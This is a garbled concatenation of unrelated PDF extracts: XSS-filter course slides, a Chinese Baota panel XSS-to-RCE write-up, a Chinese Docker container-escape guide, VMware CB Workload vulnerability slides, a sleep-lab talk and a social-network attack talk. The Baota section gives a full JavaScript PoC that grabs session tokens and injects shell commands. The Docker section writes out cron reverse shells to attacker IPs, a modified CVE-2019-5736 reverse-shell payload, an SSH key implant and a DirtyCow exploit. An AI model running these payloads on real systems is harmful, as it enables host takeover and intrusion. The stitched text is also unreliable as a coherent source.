ewline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(t ab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?) |(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A |D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13 )|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9 |(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} 1.2.3.2 Native Browser Filters | p.142 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Filter Examination This filter detects the string vbscript: {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline; ))))*(b|(&#x?0*((66)|(42)|(98)|(62));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newli ne;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(n ewline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)| (tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D) ;?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|( 10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} 1.2.3.2 Native Browser Filters | p.143 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): In the previous slides, you probably noticed the red characters highlighted between curly braces. They are also known as 'neutering' characters. The use of neutering characters is the approach that the IE team decided to use to neutralize detected attacks, which is a kind of trade-off between usability and effectiveness. 1.2.3.2 Native Browser Filters | p.144 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Basically, once a malicious injection is detected, the XSS Filter modifies the evil part of the payload by adding the # (pound) character in place of the neuter character, defined in the rules. Let’s look at some examples. 1.2.3.2 Native Browser Filters | p.145 evil ev#l ev{i}l WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Neutering in Action The XSS attack: <svg/onload=alert(1)> is transformed to: <svg/#nload=alert(1)> {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} 1.2.3.2 Native Browser Filters | p.146 Filter rule WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Neutering in Action The XSS attack: <isindex/onmouseover=alert(1)> is transformed to: <is#ndex/#nmouseover=alert(1)> {<is{i}ndex[ /+\t>]} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} 1.2.3.2 Native Browser Filters | p.147 Filter rules WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): The XSS Filter has a few rules, just 25, but are well constructed and difficult to attack. Over the years, several bypasses have been discovered; however, the latest versions 'seem’ stronger than past versions (unless you have a 0-day ☺). 1.2.3.2 Native Browser Filters | p.148 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://msdn.microsoft.com/en-us/library/dd565647(v=vs.85).aspx#remediation XSS Filter (Internet Explorer): XSS Filter is enabled by default in the Internet, Trusted, and Restricted security zones, but an interesting feature was introduced to disable the filter. The main reason was because some sites may depend on the reflected values that the filter searches for. 1.2.3.2 Native Browser Filters | p.149 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Web sites that chose to opt-out of this protection can use the HTTP response header: X-XSS-Protection: 0 1.2.3.2 Native Browser Filters | p.150 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.enhanceie.com/test/xss/BlockMode.asp XSS Filter (Internet Explorer): Later, the IE team added support to a new token in the X-XSS-Protection header: X-XSS-Protection: 1; mode=block With this token, if a potential reflected XSS attack is detected, the browser, rather than attempting to sanitize the page, will render a simple #. Here is a simple test. 1.2.3.2 Native Browser Filters | p.151 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Even if the X-XSS-Protection header was initially introduced by Internet Explorer, today other browsers based on WebKit and Blink support it. 1.2.3.2 Native Browser Filters | p.152 Safari WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.adambarth.com/papers/2010/bates-barth-jackson.pdf XSSAuditor (WebKit/Blink) In the footsteps of Internet Explorer, some researchers developed their own set of client-side XSS filters, also known as XSSAuditor. The implementation is only for the Blink/WebKit rendering engines. This is enabled by default in browsers such as Google Chrome, Opera and Safari. 1.2.3.2 Native Browser Filters | p.153 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSSAuditor (WebKit/Blink) Despite the IE XSS Filter, XSSAuditor adopts a different approach to the problem. As the authors claims, the new filter design is both effective and highly precise. To do this, they placed XSSAuditor in between the HTML Parser and JS engine. The image on the following slide will clarify the differences. 1.2.3.2 Native Browser Filters | p.154 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Images taken from http://www.adambarth.com/papers/2010/bates- barth-jackson.pdf XSSAuditor (WebKit/Blink): XSS Filter vs XSSAuditor 1.2.3.2 Native Browser Filters | p.155 XSS Filter XSSAuditor WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSSAuditor (WebKit/Blink) The filter analyzes both the inbound requests and the outbound. If, in the parsed HTML data, it finds executable code within the response, then it stops the script and generates a console alert similar to the following: 1.2.3.2 Native Browser Filters | p.156 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSSAuditor (WebKit/Blink) Over the years, even with XSS Auditor, security researchers found multiple bypasses…Oh yes, they did! A simple search on google about XSS Auditor returns more information on bypasses than on the filter itself. 1.2.3.2 Native Browser Filters | p.157 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References | p.158 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References RFC 3986 (Please) Stop Using Unsafe Characters in URLs: Character Encoding Chart RFC 2616 ISO/IEC 8859-1 http://tools.ietf.org/html/rfc3986#section-2.1 http://perishablepress.com/stop-using-unsafe-characters-in-urls/ https://tools.ietf.org/html/rfc2616 http://en.wikipedia.org/wiki/ISO/IEC_8859-1 | p.159 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References PHP header() HTML Document Representation: 5.3 Character References HTML Standard: 12.1.4 Character References http://www.php.net/header http://msdn.microsoft.com/en-us/library/system.web.httpresponse http://www.w3.org/TR/1998/REC-html40-19980424/charset.html#h-5.3 http://www.w3.org/TR/html5/single-page.html#character-references | p.160 HttpResponse Class WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Character entity references in HTML Reddit TinyURL base_convert http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#Character_ entity_references_in_HTML http://www.reddit.com/ http://tinyurl.com/ http://www.php.net/manual/en/function.base-convert.php | p.161 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Base64: Implementations and History base64_encode base64_decode WindowOrWorkerGlobalScope.btoa() http://en.wikipedia.org/wiki/Base64#Implementations_and_history https://www.php.net/base64_encode https://www.php.net/base64_decode https://developer.mozilla.org/en-US/docs/Web/API/Window.btoa | p.162 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!) Homoglyph Unicode® Technical Standard #39 - UNICODE SECURITY MECHANISMS Unicode Utilities: Confusables http://www.joelonsoftware.com/articles/Unicode.html http://en.wikipedia.org/wiki/Homoglyph http://www.unicode.org/reports/tr39/ http://unicode.org/cldr/utility/confusables.jsp | p.163 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Homoglyph Attack Generator Out of Character: Use of Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing Creative usernames and Spotify account hijacking Unicode Utilities: Description and Index http://www.irongeek.com/homoglyph-attack-generator.php http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and- homoglyph-attacks-to-obfuscate-urls-for-phishing http://labs.spotify.com/2013/06/18/creative-usernames/ http://unicode.org/cldr/utility/ | p.164 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Codepoints Transformation tools for Unicode text Unicode Text Converter OWASP Enterprise Security API http://codepoints.net/ http://txtn.us/ http://www.panix.com/~eli/unicode/convert.cgi https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API | p.165 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References ModSecurity Deterministic finite automaton Nondeterministic finite automaton Control character http://www.modsecurity.org/ http://en.wikipedia.org/wiki/Deterministic_finite_automaton http://en.wikipedia.org/wiki/Nondeterministic_finite_automaton http://en.wikipedia.org/wiki/Control_character | p.166 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References GitHub: SpiderLabs / ModSecurity Documentation GitHub: EnableSecurity / wafw00f File http-waf-fingerprint imperva-detect https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#drop https://code.google.com/p/waffit/ http://nmap.org/nsedoc/scripts/http-waf-fingerprint.html https://code.google.com/p/imperva-detect/ | p.167 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References NoScript Security Suite NoScript: Anti-XSS protection IE8 Security Part IV: The XSS Filter IE 8 XSS Filter Architecture / Implementation https://addons.mozilla.org/en-US/firefox/addon/noscript/ http://noscript.net/features#xss http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx http://blogs.technet.com/b/srd/archive/2008/08/18/ie-8-xss-filter-architecture- implementation.aspx | p.168 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Event 1046 - Cross-Site Scripting Filter: Remediation Regular Expressions Considered Harmful in Client-Side XSS Filters Unicode Security Guide http://msdn.microsoft.com/en-us/library/dd565647(v=vs.85).aspx#remediation http://www.adambarth.com/papers/2010/bates-barth-jackson.pdf https://www.w3.org/TR/html401/struct/global.html#h-7.4.4.2 http://websec.github.io/unicode-security-guide/ | p.169 The META element WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 References Comparison of regular expression engines Regular Expressions Reference Table of Contents Base 36 as senary compression https://en.wikipedia.org/wiki/Comparison_of_regular_expression_engines https://www.regular-expressions.info/refflavors.html http://tinyurl.com/jfvqr | p.170
pdf
准备工作: 找到网站名 JS payload 复现过程: 此时的 wwwroot 目录下面是没有文件的 发包 User-Agent: </tExtArEa>"><script src=http://URL/1.js></script> 点击网站日志 成功 RCE 原理分析 这里我用的环境是 7.9.1 版 目前的官网最新版也是 7.9.1 版本 复现流程可以看出来是 xss+后台 RCE 的组合拳 首先是 xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的 script src 分析源码,看看宝塔是如何读取日志的 这里有一个 getsitelogs 函数,其中获取了网站的日志路径,然后传进了 GetNumLines 函数, 跟进去如下 函数里面语句较多,但是并没有任何的过滤 然后 returnMsg 直接 return 回来 其中日志是由 nginx 保存的,宝塔读取日志数据并 return 回来,无任何过滤,加上拼接,即 可造成 xss 那么如何扩大危害造成 rce 呢?宝塔其中有一个 getlines 函数如下 注意一个函数,ExecShell,其中使用了 subprocess.Popen 执行了命令,这也是 Py 自带的执 行命令函数,我们可以看到全程也是无过滤的 那么我们转回来看 getline 函数 先判断了传来的 filename 存不存在,不存在就 return,如果存在的话就往下进行拼接 num 和 filename,所以我们就知道了怎么可以 rce,传一个必定存在的 filename,然后 num 执行 命令就可以了,但因为这是在后台,所以需要 xss+csrf 配合触发 全部 poc //JQuery preload (optional) (function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagN ame('body')[0]).appendChild(s); })(); // cookie let cookies = document.cookie; function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\- \.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; } all_headers = { "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8" } $.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} , headers: all_headers, success: function (data) { console.info(data); } }); RCE2: 原理基本一样,不过我们要让他报错,在后面目录输入乱码语句强制报错 http://URL/ÑÞ:wJ</textarea><script>alert(1)</script> 同 RCE1,这里直接取了错误日志 致谢名单: 孙爱民,H0ly,可笑,广,丞相 有任何问题可以添加本人微信进行交流 zacaq999
pdf
一、判断是否在docker容器里 首先,我们需要先判断是否在docker环境里,常用的两个检测方式: 目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名 等也可用来辅助判断。 二、配置不当引发的docker逃逸 2.1 docker remote api未授权访问 漏洞简述:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作 docker。 通过docker daemon api 执行docker命令。 漏洞利用: A、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。 B、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root C、本地监听端口,获取对方宿主机shell。 2.2 docker.sock挂载到容器内部 场景描述:简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的 docker文件和docker.sock文件挂载到容器中,具体为: 检查/.dockerenv文件是否存在 检查/proc/1/cgroup内是否包含"docker"等字符串。 sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 #列出容器信息,效果与docker ps一致。 curl http://<target>:2375/containers/json #启动容器 docker -H tcp://<target>:2375 ps -a sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root 漏洞测试: A、在容器中找到docker.sock B、在容器查看宿主机docker信息: C、运行一个新容器并挂载宿主机根路径: D、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取 shell。 2.3 docker 高危启动参数 docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu \ /bin/bash root@95a280bc5a19:/# find / -name docker.sock /run/docker.sock docker -H unix:///var/run/docker.sock info docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash ls -al /test docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导 致容器逃逸。 特权模式(--privileged) 使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个 宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。 漏洞测试: A、通过特权模式运行一个容器: B、在容器内,查看磁盘文件 C、将/dev/sda1 挂载到新建目录 D、将计划任务写入到宿主机 docker run --rm -it --privileged -v /:/soft --cap-add=SYS_ADMIN --net=host   --pid=host     --ipc=host ubuntu /bin/bash sudo docker run -itd --privileged ubuntu:latest /bin/bash fdisk -l mkdir /test mount /dev/sda1 /test E、开启nc监听,成功获取宿主机反弹回来的shell。 挂载敏感目录(-v /:/soft) 漏洞测试: A、将宿主机root目录挂载到容器 B、模拟攻击者写入ssh密钥 C、利用私钥成功登录。获取宿主机权限。 相关启动参数存在的安全问题: Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通 讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。 echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >> /test/var/spool/cron/crontabs/root docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys --cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。 --net=host           启动时,绕过Network Namespace --pid=host 启动时,绕过PID Namespace --ipc=host 启动时,绕过IPC Namespace 二、Docker 软件设计引起的逃逸 3.1 Shocker 攻击 漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用 open_by_handle_at函数,Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能 力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了 容器逃逸的风险。 漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。 github项目地址:https://github.com/gabrtv/shocker 3.2 runC容器逃逸漏洞(CVE-2019-5736) 漏洞简述: Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻 击者可以在宿主机上以root身份执行命令。 利用条件: Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。 漏洞测试: 1、测试环境镜像下载安装: 2、下载POC,修改脚本,编译 3、模仿攻击者,在容器中执行payload 4、假设,管理员通过exec进入容器,从而触发Payload。 curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 下载poc git clone https://github.com/Frichetten/CVE-2019-5736-PoC #修改Payload vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1" 编译生成payload CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 拷贝到docker容器中执行 sudo docker cp ./main 248f8b7d3c45:/tmp # 进入容器 sudo docker exec -it 248f8b7d3c45 /bin/bash # 修改权限 chmod 777 main # 执行Payload ./main sudo docker exec -it cafa20cfb0f9 /bin/sh 5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。 3.3 Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271) 漏洞描述: 当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些 libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中 拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。 影响版本: Docker 19.03.0 安全版本: 升级至安全版本 Docker 19.03.1及以上。 四、内核漏洞引起的逃逸 4.1 利用DirtyCow漏洞实现Docker逃逸 漏洞简述: Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的 shell。 漏洞测试: 1、环境准备: docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。 这里,我们使用ubuntu-14.04.5来复现。 2、测试容器下载并运行: 3、进入容器,编译POC并执行: 4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。 git clone https://github.com/gebl/dirtycow-docker-vdso.git cd dirtycow-docker-vdso/ sudo docker-compose run dirtycow /bin/bash cd /dirtycow-vdso/ make ./0xdeadbeef 192.168.172.136:1234
pdf
Vmware CB Workload 360 政企安全 Skay-2021.9.14 2 Vmware CB workload 3 查看分别监听了哪些端口 端口的启动文件 全局搜索jar class 确定工作目录 Vmware CB worktaion 4 Vmware CB workload 拿到手后是一个ova文件,直接导入vmware 改ssh配置文件root登录,/opt/vmware 为工作目录,配置及启动文件也在这里 调试:三个springboot jar包 分别配置远程调试 Vmware CB workload 5 工作目录打包扒下来,对jar包配置远程调试 tar czvf test.tar.gz * Vmware CB workload 6 工作因为jar包是fatjar,所以还需要对jar包进行更改再 add as library Vmware CB workload 7 Run.sh 启动脚本添加启动参数即可 Vmware CB workload 8 最终idea项目配置如下 VMware CB Workload 漏洞挖掘及复现 9 Vmware CB workload 10 最终首先整体了解下虚拟机默认安装后开启了哪些端口及服务 Envoy 11 Envoy 是专为大型现代 SOA(面向服务架构)架构设计的 L7 代理和通信总线 去看它的配置文件 Envoy 12 Vmware CB workload 13 最终再结合查看java进程 Vmware CB workload 14 我们对这个组件的大体架构有了一个了解,接下来回到漏洞本身,我们能拿到的就只有一个官方通告 https://www.vmware.com/security/advisories/VMSA-2021-0005.html,是一个身份绕过 Vmware CB workload 15 我们回到拖出来的代码本身,是Spring boot 且用了Spring Security + jwt 做身份校验 三个项目分别有三个SecurityConfiguration Vmware CB workload 16 跟了一遍身份校验流程后没什么大思路,不如直接diff以下 官方通告里给出了1.0.2 为修复版本,下载1.0.2 并安装,将工作目录dump下来进行diff Vmware CB workload 17 跟了一遍身份校验流程后没什么大思路,不如直接diff以下 官方通告里给出了1.0.2 为修复版本,下载1.0.2 并安装,将工作目录dump下来进行diff Vmware CB workload 18 Diff一圈儿 最终定位到这里 Vmware CB workload 19 URL有了 怎么去定位请求处理类? 关键字搜(需要反编译 反编译后还有一个好处可以find usage) 或者因为是Spring的项目,所以可以在调试时获取所有请求url的处理类 Vmware CB workload 20 最终找到com.vmware.cwp.appliance.acs.api.controller.TokenGeneratorApi Vmware CB workload 21 最终找到com.vmware.cwp.appliance.acs.api.controller.TokenGeneratorApi curl http://localhost:3010/acs/api/v1/service-token/apw 本机访问成功获取token Vmware CB workload 22 回去看com.vmware.cwp.appliance.acs.security.config.SecurityConfigurationi,也确实配置了白名单放行 Vmware CB workload 23 先别高兴的太早,这个api无法在外网直接访问 先去跟调用栈,意外找了了一个不能30X的ssrf Vmware CB workload 24 当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL 那么我们可以通过HTTP(S)的链接302跳转到任意我们想要访问的地址上 Vmware CB workload 25 com.vmware.cwp.appliance.acs.delegate.impl.VCReqValidatorController#validate 进入这个逻辑即可 SSRF 30X 26 当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL 那么我们可以通过HTTP(S)的链接302跳转到任意我们想要访问的地址上 配置301跳转 27 Vmware CB workload 28 没反应,不能用SSRF 串起来打了 Vmware CB workload 29 Vmware CB workload 30 应该是Envoy做了什么东西,但是看着配置文件也没什么,去抓一下envoy 与本机服务的通信 Vmware CB workload 31 应该是Envoy做了什么东西,但是看着配置文件也没什么,去抓一下envoy 与本机服务的通信 Vmware CB workload 32 应该是Envoy做了什么东西,但是看着配置文件也没什么,去抓一下envoy 与本机服务的通信 Vmware CB workload 33 com.vmware.cwp.appliance.applianceworker.configuration.SecurityConfiguration Vmware CB workload 34 com.vmware.cwp.appliance.applianceworker.api.EnvoyXDSController Vmware CB workload 35 最后总结下架构 Vmware CB workload 36 最终url编码以下就可以了23333 THANKS
pdf
Hacking Sleep: How to Build Your Very Own Sleep Lab Ne0nRa1n & Keith Biddulph present... Human Sleep Sleep is a normal state of rest that is characterized by unconsciousness, reduced activity, and limited sensory responsiveness Sleep differs from other states of reduced consciousness such as drug intoxication or coma, because it is spontaneous, periodic, and readily reversible Wakefulness is characterized by consciousness, sensory responsiveness, and purposeful activity Sleep in Non-Humans Some animals never exhibit a state that meets the behavioral definition of sleep Some marine mammal species do not show evidence for REM sleep, and convincing evidence for this state in reptiles, fish and insects is lacking The enormous variation in the nature of rest and sleep states across the animal kingdom and within the mammalian class has important implications for understanding the evolution and functions of sleep Discovery of REM REM was discovered by accident in 1952 The discovery of REM sleep was the single event that hallmarked the onset of the modern era of sleep research Researchers have yet to agree on the function of REM Stages of Sleep Four Non-REM Stages of Sleep REM Stage Wakefulness Sleeping and Waking Biological Clock Circadian Rhythm Homeostatic Sleep Propensity Incandescent Light The first incandescent electric light was made in the 1800's Electric light can affect circadian rhythm Circadian rhythm disruptions may be a cause of health problems Aging and Sleep The patterns of REM and NREM sleep show developmental changes as we age As children grow, they sleep for longer periods at a time, with fewer sleep periods in a day, until achieving the adult pattern of a single sleep period each day In most adults, the amount of nightly sleep remains fairly stable until old age Larks and Owls Chronotype Moring Larks Evening Owls Sleep Debt Sleep debt is the cumulative effect of not getting enough sleep There are two kinds of sleep debt caused by partial sleep deprivation or total sleep deprivation There is debate in the scientific community over the specifics of sleep debt Current Theories on Sleep The physiological purpose of sleep continues to be something of a mystery Theory of sleep as a restorative function Theory of sleep an adaptive function Sleep Disorders The quality and quantity of sleep are important indicators of overall health Sleep disorders can be classified into lack of sleep, disturbed sleep, and excessive sleep Common sleep disorders A Very Short History of Hypnotics Chloral Hydrate Bromide Salts Barbiturates Benzodiazepines Non-Benzodiazepines The Sleep Study You go to sleep with electrodes attached to various points on your body A computer records your brain waves, eye movement, muscle tension, and breathing patterns A camera adjusted for low light and an audio- recorder are also used
pdf
SOCIAL ZOMBIES Your Friends Want to Eat Your Brains STARRING... TOM ESTON KEVIN JOHNSON Social Networks “The New Hotness” 225 Million Users 110 Million Users Grew 752% in 2008! 8 million visitors in march 2009 “Social networks & Blogs are now the 4th most popular online activity, ahead of personal email.” -Nielsen Online Report, March 2009 How do socnets make $$? It’s in your Profile! • More information you share...more $ $ it’s worth! • Targeted advertising • Sell your Demographic Info • Sketchy Privacy/ToS Policies.... In Social networks we Trust... Trust is Everything! • It’s how social networks work • More trust, the better for the socnet! • Attackers LOVE trust relationships! Fake Profiles It’s built to Exploit Trust • Who is the person behind the account? • Bots are Everywhere • Accounts are easy to create • Socnet User Verification = FAIL • Connections based on other “friends” Privacy Concerns 25 Random Things About You... • I’m your friend, I want to know more about you! • Innocent? • These are PASSWORD RESET QUESTIONS people!! Corporate Espionage? • Very effective in a Penetration test • Socnet Information = GOLD • Information Leakage on a Mass Scale! Default Privacy Settings • Wide Open for a reason! • Facebook has very good controls...but... • Do you know where they are? • Do your Friends/Family? • Do They Care? Security Concerns • Socnets are #1 Target for Malware • Spam • Disinformation • XSS, CSRF and more! Twitter Clickjacking & XSS Return of Koobface • Recycled ExploitS • Exploits Trust • STILL EFFECTIVE! Social Network Bots Delivery VIA Socnet API • Twitter Bots (n0tab0t, Realboy) • Automated tools and scripts... Automated Tools Pay Services Social Network Botnets? Facebot POC • Malicious Facebook APplication (looks normal) • Turns your PC into a Bot used for DDOS! Introducing... Kreios C2 Kreios C2 Demo Browser Based Bots Browsers and Features... Oh My! • Browsers are getting more feature-rcih • Read that as more vulnerable! • Forget exploiting vulns • Abuse the features we are provided Browser Zombies • JavaScript used to hook the browser • Other technologies will work • Many frameworks available • BeEF • BrowserRider • Anehta SocNet Delivery • Embedded applications can insert JavaScript • Multiple options • Hook scripts are pushed • Users are redirected to hook sites • Why would we allow this!?!? Oh Yeah Mafia Wars Server Side Information Collection Information is Power • Information gets us access • Social networks are littered with info • By how do we connect it together Third party apps to the rescue • Third party apps have access to everything • Permissions are open by default • Once a user says accept API’s FTW • Myspace and facebook both provide access to an api • These APIs provide the access we want • Allows connecting different users • Based on friends, groups, jobs or interests Social Butterfly • Social Butterfly is a third party application • Runs on attacker controlled servers • Collects the data from application users • Crosses the line between different sites • Fine line before violating TOS! Social Butterfly DEMO Prevention • User Education • End “opt-In” Socnet Developer Models • Control API Usage • Better Account verification • SPAM Throttling Conclusions MoRe Information • Facebook Privacy & Security Guide SPYLOGIC.NET • Kreios C2 www.digininja.org • New website dedicated to Social media security (announced at Defcon) Questions for the Zombies?
pdf
